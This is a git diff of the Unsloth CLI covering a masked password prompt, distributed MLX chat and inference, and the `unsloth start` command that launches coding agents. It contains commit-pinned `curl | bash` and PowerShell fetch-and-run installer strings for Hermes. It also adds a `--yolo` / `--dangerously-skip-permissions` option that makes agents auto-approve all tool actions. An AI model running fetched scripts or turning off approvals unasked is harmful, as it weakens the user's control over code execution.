+    EOFError on Ctrl-D/Ctrl-Z at an empty prompt."""
+    if out is None:
+        out = sys.stderr
+    if os.name == "nt":
+        return _read_masked_windows(prompt, out)
+    return _read_masked_posix(prompt, out)
+
+
+def prompt_new_password(verify_current: Callable[[str], bool], out: TextIO | None = None) -> str:
+    """Prompt for a new admin password until a valid, confirmed one is given.
+
+    ``verify_current`` returns True when the candidate equals the current stored
+    password; such candidates are rejected. KeyboardInterrupt/EOFError propagate
+    so the caller can abort the launch.
+    """
+    if out is None:
+        out = sys.stderr
+    while True:
+        password = read_masked("New password: ", out)
+        if len(password) < MIN_PASSWORD_LENGTH:
+            out.write(f"Password must be at least {MIN_PASSWORD_LENGTH} characters. Try again.\n")
+            out.flush()
+            continue
+        if any(ch.isspace() for ch in password):
+            out.write("Password cannot contain spaces. Try again.\n")
+            out.flush()
+            continue
+        if verify_current(password):
+            out.write("New password must differ from the current password. Try again.\n")
+            out.flush()
+            continue
+        confirmation = read_masked("Confirm new password: ", out)
+        if confirmation != password:
+            out.write("Passwords do not match. Try again.\n")
+            out.flush()
+            continue
+        return password
+
+
+def resolve_supplied_password(cli_value: "str | None", out: TextIO | None = None) -> "str | None":
+    """Resolve a non-interactive initial admin password, or None if unset.
+
+    Precedence: an explicit ``--password`` (literal ``-`` reads a line from
+    stdin), then the ``UNSLOTH_STUDIO_PASSWORD`` env var; empty/omitted means off.
+    A literal argv value is visible in the process list, so a note points at the
+    env var or stdin instead. Mirror of the backend helper -- keep the two in sync.
+    """
+    if out is None:
+        out = sys.stderr
+    if cli_value == "-":
+        line = sys.stdin.readline()
+        if not line:
+            return None
+        return line.rstrip("\r\n") or None
+    if cli_value:
+        out.write(
+            "Note: --password is visible in the process list and shell history; "
+            f"prefer {SUPPLIED_PASSWORD_ENV} or --password - (stdin).\n"
+        )
+        out.flush()
+        return cli_value
+    return os.environ.get(SUPPLIED_PASSWORD_ENV) or None
+
+
+def validate_new_password(candidate: str, verify_current: Callable[[str], bool]) -> "str | None":
+    """Error message if ``candidate`` is unacceptable (too short or equal to the
+    current password), else None. Same policy as the interactive loop."""
+    if len(candidate) < MIN_PASSWORD_LENGTH:
+        return f"Password must be at least {MIN_PASSWORD_LENGTH} characters."
+    if any(ch.isspace() for ch in candidate):
+        return "Password cannot contain spaces."
+    if verify_current(candidate):
+        return "New password must differ from the current password."
+    return None
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index d3bfbbf96b..fdc5577700 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import sys
 from typing import List, Optional
 
 import typer
@@ -12,6 +13,10 @@ from unsloth_cli._inference import (
     connect_studio_server,
     ensure_studio_backend_path,
     load_chat_backend,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
+    quiet_if_nonzero_mlx_rank,
+    raise_on_streamed_error,
     render_columns,
     resolve_model_config,
     stream_markdown,
@@ -107,6 +112,20 @@ def _compare_needs_second_model() -> bool:
         return False
 
 
+def _drain_available_stdin() -> None:
+    """Drain already-buffered launcher stdin on nonzero distributed ranks."""
+    try:
+        import os
+        from select import select
+
+        fd = sys.stdin.fileno()
+        while select([fd], [], [], 0)[0]:
+            if not os.read(fd, 8192):
+                break
+    except Exception:
+        return
+
+
 def _pick_trained_model(console) -> str:
     ensure_studio_backend_path()
     from utils.models import scan_trained_models
@@ -158,7 +177,8 @@ def chat(
         "--tensor-parallel/--no-tensor-parallel",
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
-            "of by layer. Ignored for non-GGUF models."
+            "of by layer. Under non-MPI mlx.launch, select MLX tensor "
+            "parallel mode instead of pipeline mode."
         ),
     ),
     llama_extra_args: Optional[List[str]] = typer.Option(
@@ -186,7 +206,7 @@ def chat(
     no_server: bool = typer.Option(
         False,
         "--no-server",
-        help = "Load the model in-process even if a Studio server is running.",
+        help = "Load the model in-process even if an Unsloth server is running.",
     ),
 ):
     """Start an interactive chat with a model (loads once, stays warm)."""
@@ -195,15 +215,43 @@ def chat(
 
     console = Console()
     err = Console(stderr = True)
+    is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+    should_print = rank == 0
+
+    if is_mlx_distributed and mlx_distributed_uses_mpi():
+        if should_print:
+            err.print(
+                "Distributed `unsloth chat` with MPI needs rank-0 prompt broadcast, "
+                "which is not enabled yet. Use a non-MPI MLX launcher backend "
+                "such as ring/JACCL for now.",
+                style = "red",
+                markup = False,
+            )
+        raise typer.Exit(code = 1)
 
     if model is None:
+        if is_mlx_distributed:
+            if should_print:
+                err.print(
+                    "Distributed `unsloth chat` requires an explicit model id or path.",
+                    style = "red",
+                    markup = False,
+                )
+            raise typer.Exit(code = 1)
         model = _pick_trained_model(console)
 
     # Resolve first so --compare can be rejected before the slow load.
-    model_config = resolve_model_config(model, hf_token = hf_token)
+    with quiet_if_nonzero_mlx_rank():
+        model_config = resolve_model_config(model, hf_token = hf_token)
     compare_blocked = _compare_blocked_reason(model_config)
+    if is_mlx_distributed:
+        compare_blocked = (
+            "distributed MLX chat does not support compare mode yet because it "
+            "would need a second distributed worker group on the same ranks"
+        )
     if compare and compare_blocked:
-        err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
+        if should_print:
+            err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
         raise typer.Exit(code = 1)
 
     load_opts = dict(
@@ -214,12 +262,14 @@ def chat(
         llama_extra_args = llama_extra_args,
     )
 
-    # Prefer a running Studio server: instant starts, model shared with the UI.
-    chat_backend = None if no_server else connect_studio_server(model, **load_opts)
+    # Prefer a running Unsloth server: instant starts, model shared with the UI.
+    chat_backend = (
+        None if (no_server or is_mlx_distributed) else connect_studio_server(model, **load_opts)
+    )
     server_mode = chat_backend is not None
-    if server_mode:
+    if server_mode and should_print:
         console.print(
-            "(Studio server connected — model stays warm after /exit)",
+            "(Unsloth server connected — model stays warm after /exit)",
             style = "bright_black",
         )
     else:
@@ -242,23 +292,26 @@ def chat(
             return True
         base_id = model_config.base_model
         if not base_id:
-            console.print(
-                "(compare unavailable: this adapter doesn't record its base model)",
-                style = "yellow",
-            )
+            if should_print:
+                console.print(
+                    "(compare unavailable: this adapter doesn't record its base model)",
+                    style = "yellow",
+                )
             return False
-        console.print(
-            f"(loading base model {base_id} for compare — keeps two models in memory)",
-            style = "bright_black",
-            markup = False,
-        )
+        if should_print:
+            console.print(
+                f"(loading base model {base_id} for compare — keeps two models in memory)",
+                style = "bright_black",
+                markup = False,
+            )
         try:
             # Use the same precision as the tuned model for fair comparison
             base_load_opts = dict(load_opts)  # Copy original options
             base_load_opts["load_in_4bit"] = _get_base_load_in_4bit(model_config)
             base_backend = load_chat_backend(base_id, fresh_backend = True, **base_load_opts)
         except Exception as exc:
-            err.print(f"(base model load failed: {exc})", style = "red", markup = False)
+            if should_print:
+                err.print(f"(base model load failed: {exc})", style = "red", markup = False)
             return False
         return True
 
@@ -267,7 +320,7 @@ def chat(
 
     def generate(backend = None, use_adapter = None):
         # Reads messages and show_thinking live, so /reset and /think apply.
-        return (backend or chat_backend).stream(
+        stream = (backend or chat_backend).stream(
             messages,
             system_prompt = system_prompt,
             temperature = temperature,
@@ -278,22 +331,48 @@ def chat(
             enable_thinking = show_thinking,
             use_adapter = use_adapter,
         )
+        return raise_on_streamed_error(stream)
 
-    console.print()
-    console.print(f"Chatting with {name}", style = "bold green", markup = False)
-    console.print(_HELP, style = "bright_black")
+    if should_print:
+        console.print()
+        console.print(f"Chatting with {name}", style = "bold green", markup = False)
+        console.print(_HELP, style = "bright_black")
 
     # legacy_windows: pre-VT consoles print raw ANSI as ←[1;36m garbage.
-    you_prompt = _you_prompt(console.is_terminal and not console.legacy_windows)
+    you_prompt = (
+        _you_prompt(console.is_terminal and not console.legacy_windows) if should_print else ""
+    )
     assistant_label = "[bold magenta]Assistant:[/bold magenta]"
 
     try:
         while True:
-            try:
-                user = input(you_prompt).strip()
-            except (EOFError, KeyboardInterrupt):
-                console.print()
-                break
+            if should_print:
+                try:
+                    user = input(you_prompt).strip()
+                except (EOFError, KeyboardInterrupt):
+                    if should_print:
+                        console.print()
+                    user = "/exit"
+                turn = {"type": "turn", "text": user}
+            else:
+                turn = None
+
+            if is_mlx_distributed:
+                try:
+                    turn = chat_backend.share_distributed_object(turn, timeout = None)
+                    if not should_print:
+                        _drain_available_stdin()
+                except Exception as exc:
+                    if should_print:
+                        err.print(
+                            f"\n(error sharing chat turn: {exc})",
+                            style = "red",
+                            markup = False,
+                        )
+                    raise typer.Exit(code = 1)
+            if not turn:
+                continue
+            user = str(turn.get("text", "")).strip()
 
             if not user:
                 continue
@@ -301,55 +380,69 @@ def chat(
                 break
             if user == "/reset":
                 messages = []
-                console.print("(history cleared)", style = "bright_black")
+                if should_print:
+                    console.print("(history cleared)", style = "bright_black")
                 continue
             if user == "/think":
                 show_thinking = not show_thinking
-                state = "on" if show_thinking else "off"
-                console.print(f"(thinking {state})", style = "bright_black")
+                if should_print:
+                    state = "on" if show_thinking else "off"
+                    console.print(f"(thinking {state})", style = "bright_black")
                 continue
             if user == "/compare":
                 if compare_blocked:
-                    console.print(f"(compare unavailable: {compare_blocked})", style = "yellow")
+                    if should_print:
+                        console.print(f"(compare unavailable: {compare_blocked})", style = "yellow")
                     continue
                 if not compare_mode and dual_compare and not load_base_for_compare():
                     continue
                 compare_mode = not compare_mode
-                state = "on" if compare_mode else "off"
-                console.print(f"(compare {state})", style = "bright_black")
+                if should_print:
+                    state = "on" if compare_mode else "off"
+                    console.print(f"(compare {state})", style = "bright_black")
                 continue
             if user in ("/help", "/?"):
-                console.print(_HELP, style = "bright_black")
+                if should_print:
+                    console.print(_HELP, style = "bright_black")
                 continue
 
             messages.append({"role": "user", "content": user})
 
             try:
                 if compare_mode:
-                    console.print("(comparing base vs tuned…)", style = "bright_black")
+                    if should_print:
+                        console.print("(comparing base vs tuned…)", style = "bright_black")
                     if dual_compare:
                         base_text = collect_stream(generate(backend = base_backend), show_thinking)
                         tuned_text = collect_stream(generate(), show_thinking)
                     else:
                         base_text = collect_stream(generate(use_adapter = False), show_thinking)
                         tuned_text = collect_stream(generate(use_adapter = True), show_thinking)
-                    console.print()
-                    render_columns(
-                        "base", base_text, f"{name} (tuned)", tuned_text, console = console
-                    )
+                    if should_print:
+                        console.print()
+                        render_columns(
+                            "base", base_text, f"{name} (tuned)", tuned_text, console = console
+                        )
                     # History continues as the tuned model; base is just the reference.
                     answer = tuned_text
                 else:
-                    console.print(assistant_label)
-                    answer = stream_markdown(generate(), show_thinking, console = console)
+                    if should_print:
+                        console.print(assistant_label)
+                        answer = stream_markdown(generate(), show_thinking, console = console)
+                    else:
+                        answer = collect_stream(generate(), show_thinking)
             except KeyboardInterrupt:
                 # Ctrl-C aborts this answer only; drop the unanswered turn.
-                console.print("\n(interrupted)", style = "bright_black")
+                if should_print:
+                    console.print("\n(interrupted)", style = "bright_black")
                 messages.pop()
                 continue
             except Exception as exc:
-                err.print(f"\n(error: {exc})", style = "red", markup = False)
+                if should_print:
+                    err.print(f"\n(error: {exc})", style = "red", markup = False)
                 messages.pop()
+                if is_mlx_distributed:
+                    raise typer.Exit(code = 1)
                 continue
 
             messages.append(
@@ -359,4 +452,5 @@ def chat(
         chat_backend.close()
         if base_backend is not None:
             base_backend.close()
-        err.print("\nBye.", style = "bright_black")
+        if should_print:
+            err.print("\nBye.", style = "bright_black")
diff --git a/unsloth_cli/commands/inference.py b/unsloth_cli/commands/inference.py
index 1401fa9e9e..7df05cef94 100644
--- a/unsloth_cli/commands/inference.py
+++ b/unsloth_cli/commands/inference.py
@@ -6,9 +6,13 @@ from typing import List, Optional
 import typer
 
 from unsloth_cli._inference import (
+    collect_stream,
     configure_quiet_logging,
     connect_studio_server,
     load_chat_backend,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
+    raise_on_streamed_error,
     stream_to_stdout,
 )
 
@@ -36,7 +40,8 @@ def inference(
         "--tensor-parallel/--no-tensor-parallel",
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
-            "of by layer. Ignored for non-GGUF models."
+            "of by layer. Under non-MPI mlx.launch, select MLX tensor "
+            "parallel mode instead of pipeline mode."
         ),
     ),
     llama_extra_args: Optional[List[str]] = typer.Option(
@@ -62,15 +67,27 @@ def inference(
     no_server: bool = typer.Option(
         False,
         "--no-server",
-        help = "Load the model in-process even if a Studio server is running.",
+        help = "Load the model in-process even if an Unsloth server is running.",
     ),
 ):
     """Run a single inference using the specified model."""
     if not verbose:
         configure_quiet_logging()
 
-    # A running Studio server keeps the model warm between runs, which is
-    # exactly what a one-shot command wants.
+    is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+    if is_mlx_distributed and mlx_distributed_uses_mpi():
+        if rank == 0:
+            typer.echo(
+                "Distributed `unsloth inference` with MPI is not supported by "
+                "the current subprocess backend. Use a non-MPI MLX launcher "
+                "backend such as ring/JACCL for now.",
+                err = True,
+            )
+        raise typer.Exit(code = 1)
+
+    # A running Unsloth server keeps the model warm between runs. Under
+    # mlx.launch, every rank must enter the local MLX path instead of rank 0
+    # alone talking to a server.
     load_opts = dict(
         hf_token = hf_token,
         max_seq_length = max_seq_length,
@@ -78,7 +95,9 @@ def inference(
         tensor_parallel = tensor_parallel,
         llama_extra_args = llama_extra_args,
     )
-    chat_backend = None if no_server else connect_studio_server(model, **load_opts)
+    chat_backend = (
+        None if (no_server or is_mlx_distributed) else connect_studio_server(model, **load_opts)
+    )
     if chat_backend is None:
         chat_backend = load_chat_backend(model, **load_opts)
     try:
@@ -92,7 +111,20 @@ def inference(
             repetition_penalty = repetition_penalty,
             enable_thinking = think,
         )
-        typer.echo("Assistant:")
-        stream_to_stdout(stream, show_thinking = think)
+        stream = raise_on_streamed_error(stream)
+        if rank == 0:
+            typer.echo("Assistant:")
+            try:
+                stream_to_stdout(stream, show_thinking = think)
+            except RuntimeError as exc:
+                typer.echo(f"Error: {exc}", err = True)
+                raise typer.Exit(code = 1)
+        else:
+            try:
+                collect_stream(stream, show_thinking = think)
+            except RuntimeError:
+                if not is_mlx_distributed:
+                    raise
+                raise typer.Exit(code = 1)
     finally:
         chat_backend.close()
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index b188180188..01dffa0634 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""`unsloth start` — launch a coding agent against a running Studio server."""
+"""`unsloth start` — launch a coding agent against a running Unsloth server."""
 
 import atexit
 import contextlib
@@ -14,15 +14,17 @@ import signal
 import subprocess
 import sys
 import tempfile
+import threading
 import time
 import urllib.error
 import urllib.request
 from pathlib import Path
 from typing import NamedTuple, NoReturn, Optional
-from urllib.parse import urlparse
+from urllib.parse import urlencode, urlparse
 
 import click
 import typer
+from typer.core import TyperCommand
 
 from unsloth_cli._inference import (
     _USER_AGENT,
@@ -35,7 +37,7 @@ from unsloth_cli._inference import (
 )
 
 start_app = typer.Typer(
-    help = "Start a coding agent against a running Studio server.",
+    help = "Start a coding agent against a running Unsloth server.",
     no_args_is_help = True,
     context_settings = {"help_option_names": ["-h", "--help"]},
 )
@@ -44,63 +46,163 @@ _CODEX_PROFILE = "unsloth_api"
 _CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
 _HERMES_ENV_KEY = "UNSLOTH_API_KEY"
 _HERMES_PROVIDER = "unsloth"
+# Skip the installer's interactive setup wizard: `unsloth start hermes` runs
+# this hint unattended and then writes its own session-scoped Hermes config, so
+# the wizard's global API-key/model prompts would block the launch and point the
+# user at a different (global) provider than the one Unsloth just configured.
+# Both installers expose a skip flag: `-SkipSetup` (PowerShell) and
+# `--skip-setup` (POSIX; passed to the piped script via `bash -s --`). Pin both
+# the fetched script and the repository checkout it performs to the same full
+# commit so a later change to either upstream branch cannot silently replace
+# code that Unsloth executes with the user's privileges.
+_HERMES_INSTALL_COMMIT = "f1af945f6c576eccb126fa955edc9be258b33020"
+_HERMES_INSTALL_BASE = (
+    "https://raw.githubusercontent.com/NousResearch/hermes-agent/"
+    f"{_HERMES_INSTALL_COMMIT}/scripts"
+)
+_HERMES_WINDOWS_INSTALL_HINT = (
+    f"& ([scriptblock]::Create((irm {_HERMES_INSTALL_BASE}/install.ps1)))"
+    f" -SkipSetup -Commit {_HERMES_INSTALL_COMMIT}"
+)
+_HERMES_POSIX_INSTALL_HINT = (
+    f"curl -fsSL {_HERMES_INSTALL_BASE}/install.sh | bash -s --"
+    f" --skip-setup --commit {_HERMES_INSTALL_COMMIT}"
+)
 # Hermes refuses to initialize when the model window is under 64,000 tokens; its
 # error message points at the model.context_length / auxiliary.compression
 # overrides in config.yaml. write_hermes_config claims this value for smaller
 # windows and scales the compaction threshold back down to the real window.
 _HERMES_MIN_CONTEXT = 65536
 _PI_PROVIDER = "unsloth"
+_SUBAGENT_NAME = "unsloth"
+_SUBAGENT_DESCRIPTION = (
+    "Local coding subagent powered by Unsloth for debugging, implementation, and codebase "
+    "research. Use when the user asks to spawn an Unsloth or local agent."
+)
+_SUBAGENT_INSTRUCTIONS = (
+    "You are a local coding subagent powered by Unsloth. Complete the assigned task directly, "
+    "use the available tools when useful, verify your work, and return a concise result to the "
+    "parent agent."
+)
+_CLAUDE_SUBAGENT_MCP_MODULE = "unsloth_cli.claude_subagent_mcp"
+_CLAUDE_SUBAGENT_TOOL = "mcp__plugin_unsloth-local-agent_unsloth__unsloth_agent"
+_PI_SUBAGENT_EXTENSION = Path(__file__).parent.parent / "pi_subagent.ts"
+# OpenCode selects a model by "<providerID>/<modelID>". Use a dedicated id to avoid
+# colliding with a user's providers; provider filters are set in the launch-time overlay.
+_OPENCODE_PROVIDER = "unsloth-studio"
 _PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
 _PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
+
+
+class _PassthroughCommand(TyperCommand):
+    """Preserve the option separator when forwarding arguments to an agent."""
+
+    def parse_args(self, ctx: click.Context, args: list[str]) -> list[str]:
+        raw_args = list(args)
+        try:
+            separator = raw_args.index("--")
+        except ValueError:
+            return super().parse_args(ctx, args)
+        trailing_count = len(raw_args) - separator - 1
+        remaining = super().parse_args(ctx, args)
+        insert_at = max(0, len(remaining) - trailing_count)
+        if insert_at >= len(remaining) or remaining[insert_at] != "--":
+            remaining.insert(insert_at, "--")
+            ctx.args = remaining
+        return remaining
+
+
 _CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
 
 # Shared by every agent command; only the config/env/command differ.
+# Help is grouped into rich panels so `--help` reads as Model / Server / Session
+# instead of one long unaligned list.
+_PANEL_MODEL = "Model"
+_PANEL_SERVER = "Server"
+_PANEL_SESSION = "Agent session"
+
 _MODEL_OPTION = typer.Option(
-    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
-)
-_KEY_OPTION = typer.Option(
     None,
-    "--api-key",
-    envvar = "UNSLOTH_API_KEY",
-    help = (
-        "Studio API key. For a local Studio it is minted automatically and "
-        "remembered per server. For a remote server, pass one with --api-key "
-        "(or UNSLOTH_API_KEY); it is remembered for next time."
-    ),
+    "--model",
+    "-m",
+    rich_help_panel = _PANEL_MODEL,
+    help = "Model for the agent, or a bare `org/name(:variant)` positional. "
+    "Defaults to the one loaded in Unsloth.",
 )
-_LAUNCH_OPTION = typer.Option(
-    True,
-    "--launch/--no-launch",
-    help = "--no-launch prints the env and command instead (remote shells, WSL).",
-)
-_SERVE_OPTION = typer.Option(
-    True,
-    "--serve/--no-serve",
-    help = (
-        "If no Studio server is running, auto-start one for --model and stop it when the "
-        "agent exits. --no-serve keeps the old behavior of erroring out."
-    ),
-)
-# Model-load knobs mirrored from `unsloth run`; only used when --model triggers a
-# load on the server. Server-startup flags (--host/--port/--cloudflare/...) do not
-# apply here because `unsloth start` attaches to an already-running server.
 _GGUF_VARIANT_OPTION = typer.Option(
-    None, "--gguf-variant", help = "GGUF quant variant to load (e.g. UD-Q4_K_XL)."
+    None,
+    "--gguf-variant",
+    rich_help_panel = _PANEL_MODEL,
+    help = "GGUF quant variant to load (e.g. UD-Q4_K_XL). Defaults to UD-Q4_K_XL for "
+    "unsloth/* GGUF repos, else Q4_K_M.",
 )
 _CONTEXT_OPTION = typer.Option(
     0,
     "--max-seq-length",
     "--context-length",
+    rich_help_panel = _PANEL_MODEL,
     help = "Context length in tokens for the load (0 = model default).",
 )
 _LOAD_4BIT_OPTION = typer.Option(
-    True, "--load-in-4bit/--no-load-in-4bit", help = "Load hub models in 4-bit (ignored for GGUF)."
+    True,
+    "--load-in-4bit/--no-load-in-4bit",
+    rich_help_panel = _PANEL_MODEL,
+    help = "Load hub models in 4-bit (ignored for GGUF).",
 )
 _TENSOR_PARALLEL_OPTION = typer.Option(
     False,
     "--tensor-parallel/--no-tensor-parallel",
+    rich_help_panel = _PANEL_MODEL,
     help = "Split a GGUF across GPUs by tensor instead of by layer (multi-GPU only).",
 )
+
+# Server knobs. Only used when `unsloth start` auto-starts the server (--serve);
+# they have no effect when attaching to a server someone else already started.
+_SERVE_OPTION = typer.Option(
+    True,
+    "--serve/--no-serve",
+    rich_help_panel = _PANEL_SERVER,
+    help = "If no Unsloth server is running, auto-start one for --model and keep it "
+    "available after the agent exits. --no-serve errors out instead.",
+)
+_ENABLE_TOOLS_OPTION = typer.Option(
+    False,
+    "--enable-tools/--disable-tools",
+    rich_help_panel = _PANEL_SERVER,
+    help = "Server-side tools (web search, code execution) for the auto-started server. "
+    "Default off so the agent's own tools are relayed unchanged.",
+)
+_TOOL_CALL_HEALING_OPTION = typer.Option(
+    None,
+    "--enable-tool-call-healing/--disable-tool-call-healing",
+    rich_help_panel = _PANEL_SERVER,
+    help = "Promote text-form tool calls from small GGUFs back into structured calls. On by "
+    "default; when the flag is omitted an inherited UNSLOTH_DISABLE_TOOL_CALL_HEALING is kept.",
+)
+_TOOL_CALL_NUDGING_OPTION = typer.Option(
+    None,
+    "--enable-tool-call-nudging/--disable-tool-call-nudging",
+    rich_help_panel = _PANEL_SERVER,
+    help = "Retry once with a nudge when a non-streaming passthrough tool call can't be healed. "
+    "On by default; when the flag is omitted an inherited UNSLOTH_TOOL_CALL_NUDGE is kept.",
+)
+
+# Agent-session knobs.
+_KEY_OPTION = typer.Option(
+    None,
+    "--api-key",
+    envvar = "UNSLOTH_API_KEY",
+    rich_help_panel = _PANEL_SESSION,
+    help = "Unsloth API key. For a local Unsloth it is minted automatically and "
+    "remembered per server. For a remote server, pass one with --api-key "
+    "(or UNSLOTH_API_KEY); it is remembered for next time.",
+)
+_LAUNCH_OPTION = typer.Option(
+    True,
+    "--launch/--no-launch",
+    rich_help_panel = _PANEL_SESSION,
+    help = "--no-launch prints the env and command instead (remote shells, WSL).",
+)
 # One normalized "run tools without prompting" switch. Each agent spells this
 # differently and it's easy to forget which is which, so accept every spelling and
 # route to the agent's own mechanism in _yolo_command_flags / the config writers.
@@ -109,14 +211,35 @@ _YOLO_OPTION = typer.Option(
     "--yolo",
     "--dangerously-skip-permissions",
     "--dangerously-bypass-approvals-and-sandbox",
+    rich_help_panel = _PANEL_SESSION,
+    help = "Auto-approve all tool actions for this session; routed to the agent's own "
+    "flag/config. Any of the three spellings works for any agent.",
+)
+_PERSIST_OPTION = typer.Option(
+    False,
+    "--persist/--no-persist",
+    rich_help_panel = _PANEL_SESSION,
     help = (
-        "Auto-approve all tool actions for this session; routed to the agent's own "
-        "flag/config. Any of the three spellings works for any agent."
+        "Keep this agent's Unsloth-managed session dir so you can resume it later. "
+        "codex/openclaw/hermes/pi have their whole home relocated into an Unsloth dir "
+        "that is a throwaway temp dir (wiped on exit) by default; with --persist it "
+        "lives under the Unsloth agents dir and survives, so their own resume can reopen "
+        "it. claude and opencode keep sessions in your own stores (~/.claude, "
+        "~/.local/share/opencode), so they already resume regardless. To reopen a "
+        "session, pass the agent's own resume command through, e.g. "
+        "`unsloth start codex --persist resume` or `claude --resume <id>`; those flow to "
+        "the agent unchanged."
     ),
 )
+_AS_SUBAGENT_OPTION = typer.Option(
+    False,
+    "--as-subagent",
+    rich_help_panel = _PANEL_SESSION,
+    help = "Keep the coding agent's current model and add Unsloth as a local subagent.",
+)
 
-# Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no
-# such flag (config only) and are handled in their config writers, so they are absent.
+# Per-agent CLI flag for "run tools without prompting". OpenCode (native --auto is
+# command-scoped, handled below) and OpenClaw (config-only) are absent from this prefix map.
 _YOLO_COMMAND_FLAGS = {
     "claude": ["--dangerously-skip-permissions"],
     "codex": ["--dangerously-bypass-approvals-and-sandbox"],
@@ -132,6 +255,125 @@ def _yolo_command_flags(agent: str, yolo: bool) -> list:
     return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else []
 
 
+# Subcommands that reject --auto (OpenCode exposes it only on the default TUI and `run`),
+# so `opencode serve --auto` is never emitted. Includes console/generate, hidden from
+# `opencode --help` but still registered. Unknown first positionals are TUI paths -> --auto.
+_OPENCODE_NON_AUTO_SUBCOMMANDS = frozenset(
+    "completion acp mcp attach debug providers auth agent upgrade uninstall serve web "
+    "models stats export import github pr session plugin plug db console generate".split()
+)
+_OPENCODE_GLOBAL_BOOLEAN_OPTIONS = frozenset(
+    "-h --help -v --version --print-logs --pure --mdns".split()
+)
+_OPENCODE_GLOBAL_VALUE_OPTIONS = frozenset(
+    "--log-level --port --hostname --mdns-domain --cors".split()
+)
+_OPENCODE_NATIVE_AUTO_MIN_VERSION = (1, 17, 12)
+
+
+def _opencode_supports_native_auto() -> bool:
+    executable = _which_with_install_dirs("opencode")
+    if executable is None:
+        # No local binary: a --no-launch recipe may run elsewhere, and _run installs the
+        # current release on launch -- either way assume native --auto is available.
+        return True
+    try:
+        output = subprocess.check_output(
+            [executable, "--version"],
+            text = True,
+            timeout = 10,
+            stderr = subprocess.DEVNULL,
+        )
+    except Exception:
+        return False
+    match = re.search(r"(\d+)\.(\d+)\.(\d+)", output)
+    return bool(match) and tuple(int(part) for part in match.groups()) >= (
+        _OPENCODE_NATIVE_AUTO_MIN_VERSION
+    )
+
+
+def _opencode_subcommand(args: list[str]) -> Optional[str]:
+    """Return an explicit OpenCode subcommand after supported global options."""
+    index = 0
+    while index < len(args):
+        arg = args[index]
+        if arg == "--":
+            return None
+        if arg in _OPENCODE_GLOBAL_BOOLEAN_OPTIONS:
+            index += 1
+            continue
+        if arg in _OPENCODE_GLOBAL_VALUE_OPTIONS:
+            index += 2
+            continue
+        if any(arg.startswith(f"{option}=") for option in _OPENCODE_GLOBAL_VALUE_OPTIONS):
+            index += 1
+            continue
+        # A non-global option (e.g. --session) is a TUI flag; stop before its value is
+        # mistaken for a subcommand.
+        if arg.startswith("-"):
+            return None
+        return arg
+    return None
+
+
+def _opencode_native_auto_args(args: list[str], yolo: bool) -> tuple[list[str], bool]:
+    """Add OpenCode's native --auto when the selected command supports it."""
+    routed = list(args)
+    if not yolo:
+        return routed, False
+    if _opencode_subcommand(routed) in _OPENCODE_NON_AUTO_SUBCOMMANDS:
+        return routed, False
+    separator = routed.index("--") if "--" in routed else len(routed)
+    # --mini's runMini TUI forces auto=false and never forwards --auto, so appending it is
+    # useless; fall back to the config permission block so --yolo still auto-approves.
+    if any(arg == "--mini" or arg.startswith("--mini=") for arg in routed[:separator]):
+        return routed, False
+    if "--auto" not in routed[:separator]:
+        routed.insert(separator, "--auto")
+    return routed, True
+
+
+def _hermes_install_hint() -> str:
+    return _HERMES_WINDOWS_INSTALL_HINT if os.name == "nt" else _HERMES_POSIX_INSTALL_HINT
+
+
+def _hermes_resume_oneshot_args(args: list[str]) -> list[str]:
+    """Route resumed one-shot prompts through Hermes' session-aware chat command."""
+    has_resume = any(
+        arg in ("--resume", "-r", "--continue", "-c")
+        or arg.startswith(("--resume=", "--continue="))
+        or (len(arg) > 2 and arg.startswith(("-r", "-c")))
+        for arg in args
+    )
+    if not has_resume:
+        return args
+
+    rewritten = list(args)
+    for index, arg in enumerate(rewritten):
+        if arg in ("-z", "--oneshot"):
+            rewritten[index] = "-q"
+        elif len(arg) > 2 and arg.startswith("-z"):
+            # argparse accepts attached short-option values (`-zPROMPT` and
+            # `-z=PROMPT`); preserve the value byte-for-byte when switching to -q.
+            rewritten[index] = f"-q{arg[2:]}"
+        elif arg.startswith("--oneshot="):
+            rewritten[index] = f"--query={arg.partition('=')[2]}"
+        else:
+            continue
+        if any(item == "--usage-file" or item.startswith("--usage-file=") for item in args):
+            raise typer.BadParameter(
+                "Hermes cannot resume a one-shot session with --usage-file; remove that option."
+            )
+        prefix = ["chat", "-Q"]
+        if "--yolo" not in rewritten:
+            prefix.append("--yolo")
+        if "--accept-hooks" not in rewritten:
+            prefix.append("--accept-hooks")
+        rewritten = prefix + rewritten
+        return rewritten
+    return args
+
+
 class LoadOptions(NamedTuple):
     """Model-load knobs forwarded to /api/inference/load when --model triggers a load."""
 
@@ -141,6 +383,14 @@ class LoadOptions(NamedTuple):
     tensor_parallel: bool = False
 
 
+class ServerOptions(NamedTuple):
+    """Tool-call knobs forwarded to an auto-started `unsloth run` server."""
+
+    enable_tools: bool = False
+    tool_call_healing: Optional[bool] = None
+    tool_call_nudging: Optional[bool] = None
+
+
 def _split_repo_variant(model: str) -> tuple:
